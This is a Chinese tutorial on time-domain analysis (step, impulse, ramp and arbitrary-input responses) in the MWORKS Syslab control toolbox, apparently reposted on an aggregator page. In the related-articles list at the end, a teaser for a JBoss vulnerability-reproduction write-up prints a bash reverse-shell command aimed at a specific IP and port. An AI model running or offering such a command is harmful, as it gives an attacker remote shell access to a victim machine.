【MWORKS专业工具箱系列教程】控制系列工具箱第四期:时域分析

本工具箱教程以控制系统模型创建、分析与设计流程为主线,通过大量示例介绍MWORKS控制系统工具箱的功能和具体使用。共计10篇文章,上一篇主要介绍了控制系统连接与化简。

同元软控:【MWORKS专业工具箱系列教程】控制系 列工具箱第三期:控制系统连接与化简

本教程代码均可直接复制到Syslab中运行,使用教程中代码前需参照下述方法加载函数库内容: 方法一:在Syslab的命令行窗口先后输入using TyControlSystems、using TyPlot和using TyBase并回车(重启软件或命令行窗口后需重新输入); 方法二:按照下图中的方法预加载函数库(设置好后每次启动软件默认加载)。


第四期:时域分析

时域分析是一种最直观、最直接的分析。一般可以为控制系统预先规定一些特殊的试验输入信号,然后比较各种系统对这些信号的响应情况。

经常采用的试验输入信号

一. 阶跃响应- step() 

  • 对于稳定系统,通常在系统阶跃响应曲线上来定义系统动态性能指标

  • 系统的单位阶跃响应不仅完整反映了系统的动态特性,而且反映了系统在单位阶跃信号输入下的稳定状态。同时,单位阶跃信号又是一个最简单、最容易实现的信号。

Syslab的 step 函数用法

step函数调用方式

说明

step(sys)

计算并直接返回系统阶跃响应图。其中sys可以是:tf、ss、zpk

step(sys,t)

计算向量 t 指定时间内的阶跃响应。t为标量:计算[0,t]内的响应,t为向量,计算各点的阶跃响应。示例:
step(G,5)
step(G,0:0.1:10)

step(___,fmt)

计算并直接返回系统阶跃响应图。fmt为绘图样条属性设置字符串。示例:
step(G,"-bo",linewidth = 1,markersize = 5,…)
step(G,"-r",linewidth = 1, ishold = true,…)
# 将图形绘制在已有figure上

y,t,x = step(sys, t, fig = false)

计算阶跃响应数据,y 为响应数据数组,t 为时间向量,x 为状态数组

示例18:计算并绘制以下系统的阶跃响应

G\left( s \right) = \frac{​{2s + 25}}{​{​{s^2} + 4s + 25}}

阶跃响应数据获取

通过下述形式可以获取到阶跃响应数据

output:

julia> t
101-element Vector{Float64}:
 0.0
 0.035
 0.07
 0.10500000000000001
 0.14
 0.17500000000000002
 0.21000000000000002
 ⋮
 3.325
 3.3600000000000003
 3.3950000000000005
 3.43
 3.4650000000000003
 3.5000000000000004

julia> y
1×101 Matrix{Float64}:
 0.0  0.0795734  0.174988  0.281454  0.394494  0.510026  …  1.00115  1.00115  1.00111  1.00105  1.00096  1.00086

MIMO系统的阶跃响应

示例19:计算并绘制双输入双输出系统的阶跃响应

同样可以通过下述方式获取MIMO系统阶跃响应数据

output:

julia> t
1301-element Vector{Float64}:
   0.0
   0.09210340371972092
   0.18420680743944184
   0.27631021115916277
   0.3684136148788837
   0.4605170185986046
   0.5526204223183255
   ⋮
 119.27390781703859
 119.36601122075831
 119.45811462447804
 119.55021802819776
 119.64232143191748
 119.7344248356372

julia> y
2×1301×2 Array{Float64, 3}:
[:, :, 1] =
 0.0  0.0830874  0.14644   0.188473  0.208858  0.208431  …  -0.153846  -0.153846  -0.153846  -0.153846  -0.153846     
 0.0  0.117899   0.279744  0.473182  0.685291  0.903305      1.15385    1.15385    1.15385    1.15385    1.15385      

[:, :, 2] =
 0.0  0.0871829  0.162123  0.221969  0.264909  0.290181  …  -6.93889e-17  -6.93889e-17  -6.93889e-17  -6.93889e-17    
 0.0  0.0266207  0.101938  0.217719  0.364331  0.531374      1.0           1.0           1.0           1.0

对于MIMO系统的响应数据 y 为一个三维数组,其维度为:,其中:

  • N_{y}为系统输出数量

  • N为时间向量长度

  • N_{u}为系统输入数量

因此,通过 y[i,:,j] 可取出第 i 个输入到第 j 个输出的阶跃响应数据向量。

小彩蛋:二阶系统响应面绘制

示例20:计算并绘制标准二阶系统阶跃响应曲线及响应面

G\left( s \right) = \frac{1}{​{​{s^2} + 2\varsigma s + 1}}

① 阶跃响应曲线计算与绘制

② 阶跃响应面绘制

时域性能指标获取

通常控制系统的性能指标以系统对单位阶跃输入量的瞬态响应形式给出。

通过 stepinfo() 函数计算并获取动态系统阶跃响应特性

示例21:获取系统的阶跃响应特性

G\left( s \right) = \frac{​{25}}{​{​{s^2} + 3s + 15}}

output:

julia> # 上升时间

julia> res.RiseTime
1×1 Matrix{Float64}:
 0.2647250314828522

julia> # 最大超调

julia> res.Overshoot
1×1 Matrix{Float64}:
 37.1410271661408

julia> # 峰值

julia> res.Peak
1×1 Matrix{Float64}:
 1.371410271661408

julia> # 峰值时间

julia> res.PeakTime
1×1 Matrix{Float64}:
 0.6447238260382373

julia> # 调整时间

julia> res.SettlingTime
1×1 Matrix{Float64}:
 2.246034069329275

二、脉冲响应- impulse() 

系统的脉冲响应(或称为冲激响应)可以用 impulse() 函数进行计算并绘制脉冲响应图。

连续时间脉冲信号

连续时间单位脉冲信号是一个持续时间为∆的的短脉冲,对于任意的∆值,其面积均为1,随着∆→0,𝛿Δ(𝑡)变得越来越窄,越来越高,但单位面积不变。

离散时间单位脉冲(样本)序列

Syslab的 impulse 函数用法

impulse 调用方式

说明

impulse(sys)

计算并直接返回系统脉冲响应图。其中sys可以是:tf、ss、zpk

impulse(sys,t)

计算向量 t 指定时间内的脉冲响应。t为标量:计算[0,t]内的响应,t为向量,计算各点的脉冲响应。示例:
impulse(G,5)
impulse(G,0:0.1:10)

impulse(___,fmt)

计算并直接返回系统脉冲响应图。fmt为绘图样条属性设置字符串。示例:
impulse(G,"-bo",linewidth = 1,markersize = 5,…)
impulse(G,"-r",linewidth = 1, ishold = true,…) # 将图形绘制在已有figure上

y,t,x = impulse (sys, t, fig = false)

计算阶跃响应数据,y 为响应数据数组,t 为时间向量,x 为状态数组

示例22:计算以下系统的脉冲响应

H\left( s \right) = \frac{1}{​{​{s^2} + 0.2s + 1}}

output:

output:

同样的,可以通过下述形式获取脉冲响应数据:

output:

julia> t
1906-element Vector{Float64}:
   0.0
   0.3141592653589793
   0.6283185307179586
   0.9424777960769379
   1.2566370614359172
   1.5707963267948966
   1.8849555921538759
   ⋮
 596.9026041820607
 597.2167634474197
 597.5309227127786
 597.8450819781376
 598.1592412434966
 598.4734005088555

julia> y
1×1906 Matrix{Float64}:
 0.0  0.299509  0.552363  0.737413  0.841231  0.858915  …  -7.88052e-27  -9.66575e-27  -1.04252e-26  -1.01493e-26

小技巧:求脉冲响应的另一种方法

考虑系统的脉冲响应表达式为:Y\left( s \right) = G\left( s \right) \cdot U\left( s \right),其中脉冲信号U\left( s \right)=1 

Y\left( s \right) = G\left( s \right) \cdot 1 = s \cdot G\left( s \right) \cdot \frac{1}{s}

因此,求取G\left( s \right)的脉冲响应,可以转化为求取s\cdot G\left( s \right)的单位阶跃响应

示例23:针对示例22,通过阶跃函数求取其脉冲响应

三. 斜坡信号响应

Syslab控制工具箱没有提供斜坡信号响应函数,同样可以考虑使用上一节中等效的方法进行求取。

考虑系统的斜坡响应表达式为: Y\left( s \right) = G\left( s \right) \cdot U\left( s \right) ,其中斜坡信号:  U\left( s \right)=1/s^{2} 

Y\left( s \right) = G\left( s \right) \cdot \frac{1}{​{​{s^2}}} = \frac{1}{s} \cdot G\left( s \right) \cdot \frac{1}{s}

G\left( s \right) 的斜坡响应,转化为求取 G\left( s \right)/s 的单位阶跃响应

示例24:计算以下系统的斜坡响应

output:

类似的,系统对单位加速度信号的响应可以使用同样的方式计算得到。

四. 对任意信号的响应- lsim() 

为了求对任意输入信号的响应,可以使用 lsim() 函数

Syslab的 lsim 函数使用

lsim调用方式

说明

lsim(sys,u,t)

计算并直接返回系统对输入信号(t,u)的时域响应图。其中 t 为时间向量

lsim(sys,u,t,fmt)

计算并直接返回系统对输入信号(t,u)的时域响应图。fmt为绘图样条属性设置字符串。示例:
lsim(G,u,t,"-bo",linewidth = 1,markersize = 5,…)
lsim(G,u,t,"-r",linewidth = 1, ishold = true,…) # 将图形绘制在已有figure上

lsim(sys,u,t,x0 = value)

当sys是状态空间模型时,可以进一步指定初始状态值 x0 ,注意 x0 为向量形式

lsim(sys,u,t,x0 = value,fmt)

当sys是状态空间模型时,可以进一步指定初始状态值 x0 ,fmt为绘图样条属性设置字符串

res = lsim (sys, u, t, fig = false)

计算任意信号响应数据,生成 res 响应数据为SimResult结构体,不出图。其中:
res.t:时间向量
res.y:响应数组

y,t,x = lsim (sys, u, t, fig = false)

计算任意信号响应数据,y 为响应数据数组,t 为时间向量,x 为状态数组

G\left( s \right) = \frac{3}{​{​{s^2} + 2s + 3}}

output:

示例26:考虑以下系统在输入信号 u = e^{-t} 作用下的响应情况,假设初始状态为 x\left( 0 \right) = 0

output:

改变初始状态为:

output:

其余函数请参阅Syslab-控制系统工具箱帮助文档

"Syslab控制系统工具箱-时域分析"帮助文档icon-default.png?t=O83Ahttps://www.tongyuan.cc/help/SyslabHelp.html#/Doc/TyControlSystems/LinearAnalysis/TimeAndFrequencyDomainAnalysis.html%23%E6%97%B6%E5%9F%9F%E5%88%86%E6%9E%90本系列第五期文章将对频域分析进行详尽解读,敬请关注!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/885298.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

IT基础监控范围和对象

监控易作为一款由美信时代独立自主研发的分布式一体化集中监控平台,其监控范围极为广泛,几乎涵盖了所有主流的IT基础设施以及相关的设备和系统。以下是对监控易监控范围的详细介绍: 一、IT基础资源监控 服务器硬件监控:监控易支…

【宝藏篇】加密软件有哪些?10款好用的加密软件推荐!

小明:嘿,小华,你知道有哪些好用的加密软件吗?我最近需要保护一些敏感数据。 小华:当然,小明!现在市场上有很多优秀的加密软件,可以帮助你保护数据安全。我正好有10款宝藏级的加密软件…

Tableau|一入门

一 什么是BI工具 BI 工具即商业智能(Business Intelligence)工具,是一种用于收集、整理、分析和展示企业数据的软件系统,其主要目的是帮助企业用户更好地理解和利用数据,以支持决策制定。 主要功能: 1.数据…

【数据结构中的哈希】

泛黄的春联还残留在墙上.......................................................................................................... 文章目录 前言 一、【哈希结构的介绍】 1.1【哈希结构的概念】 1.2【哈希冲突】 1.3【哈希函数的设计】 1.4【应对哈希冲突的办法】 一、…

工厂模式和抽象工厂模式的实验报告

1. 实验结果: 记录并附上不同模型对象(例如:士兵、机器人、骑士)的展示效果截图。 2. 性能分析: 记录并比较抽象工厂模式与直接实例化的性能测试结果,分析它们在不同数量级对象创建时的开销与效益。 2.1…

集运公司如何怎么利用系统开展营销活动?

在当前集运市场激烈竞争的背景下,企业如何通过有效的营销策略脱颖而出,成为行业佼佼者?易境通集运系统以其强大的营销功能和工具,为集运企业提供了全新的营销解决方案。以下是如何利用该系统开展营销活动的具体策略。 1.积分卡券&…

Jupyter的使用分享

文章目录 碎碎念安装方法1.安装Anaconda方法2.通过库的安装方式 启动使用教程1.指定目录打开2.启动后的简单使用 小结 碎碎念 前情提示 之前与许多小伙伴交流的时候,发现大家对于pycharm更容易上手(可能是比较好设置中文的原因),在…

MySQL扩展

一、慢查询(慢日志) 默认关闭的 定位慢SQL 简单:show profile,启用时会对服务器的性能产生额外的负担 -- 启用性能监控 mysql> set profiling1;-- 执行SQL mysql> SELECT * from member-- 性能分析 mysql> show p…

基于卷积神经网络的体育运动项目分类识别系统

温馨提示:文末有 CSDN 平台官方提供的学长 QQ 名片 :) 1. 项目简介 随着计算机视觉和深度学习技术的快速发展,利用先进的图像处理技术对体育运动进行智能分类与识别已成为研究热点。传统的运动分析方法通常依赖于人工观察和记录,耗时耗力且容…

AndroidLogger插件使用技巧

它是一个Notepad插件,由于未上架Notepad的插件市场,因此需要独立下载并解压到 Notepad 安装目录下 plugin 里面即可。已更新到 SourceForge,您可以到那里获取最新的包,目前还在持续升级。 https://sourceforge.net/projects/andro…

网站建设中,常用的后台技术有哪些,他们分别擅长做什么网站平台

PHP、Python、JavaScript、Ruby、Java和.NET各自适用于不同类型的网站平台。以下是对这些编程语言适用场景的具体介绍: PHP Web开发:PHP是一种广泛使用的开源服务器端脚本语言,特别适合Web开发。全球有超过80%的网站使用PHP作为服务器端编程语…

执行力怎么培养?

执行力怎么培养? 并行:适合在初期养成习惯,不抱对结果的期望天才就是强迫症:适合中期修身:适合高级 并行:适合在初期养成习惯,不抱对结果的期望 在你开始做任何事情的时候,不要一开…

游戏找不到xinput1_3.dll的原因及解决方法

1. xinput1_3.dll 基本信息 1.1 文件名 xinput1_3.dll 是一个动态链接库(DLL)文件,它属于 Microsoft DirectX for Windows 的一部分。这个文件主要负责处理与 Xbox 360 控制器和其他兼容 XInput 标准的游戏手柄相关的输入信号,确…

【Python调用ddddocr打包成exe文件指定模型库及注意事项】

ddddocr 打包成 exe 后一直存在各种各样的问题,例如: ddddocr\common.onnx failed. File doesn’t exist 查阅资料后,问题得到解决。但相关资料不多,且不够详细,特写下本文,以便于后来者解决问题。 希望本文…

JBOSS中间件漏洞复现

CVE-2015-7501 1.开启环境 cd vulhub/jboss/JMXInvokerServlet-deserialization docker-compose up -d docker ps 2.访问靶场 3.访问/invoker/JMXInvokerServlet目录 4.将反弹shell进⾏base64编码 bash -i >& /dev/tcp/47.121.191.208/6666 0>&1 YmFzaCAt…

CPU大端和小端的判断:【两种方法+源代码】

1:为什么会出现大小端 在计算机系统中,数据是以字节为单位进行存储的。每个地址单元都对应着一个字节,一个字节为8位(bit)。然而,在C语言等编程语言中,除了8位的char类型外,还有16位…

SpringBoot+Activiti7工作流入门实例

目录 文章目录 目录准备Activiti建模工具1、BPMN-js在线设计器1.1 安装1.2 使用说明1.3运行截图2、IDEA安装Activiti Designer插件2.1安装插件2.2 设置编码格式防止中文乱码2.3 截图简单工作流入门实例1. 新建Spring Boot工程2. 引入Activiti相关依赖添加版本属性指定仓库添加依…

C语言扫盲

文章目录 C版本C语言特征GCCprintf数据类型函数指针内存管理void指针 Struct结构和Union结构typedef预处理器make工具cmake工具Projectintegral of sinc functionemulator embedded systeman event schedule 补充在线Linux终端安装Linux参考 建议还是国外教材学习…人家的PPT比…

HBase DDL操作代码汇总(namespace+table CRUD操作)

HBase DDL操作 DDL操作主要是关于命名空间和表格的内容增删改查。 注:如果出现无法连接到zookeeper等的相关错误,可以将以下代码打jar包,在HMaster节点上执行 错误提示: Exception in thread “main” java.net.SocketTimeoutExc…

sql server每天定时执行sql语句

sql server每天定时执行sql语句 1、打开SQL Server Management Studio 2、鼠标右击【SQL Server 代理】,选择【启动(S)】,如已启动,可以省略此步骤; 3、右键,新建-》作业,在作业上-》新建作业&#xff…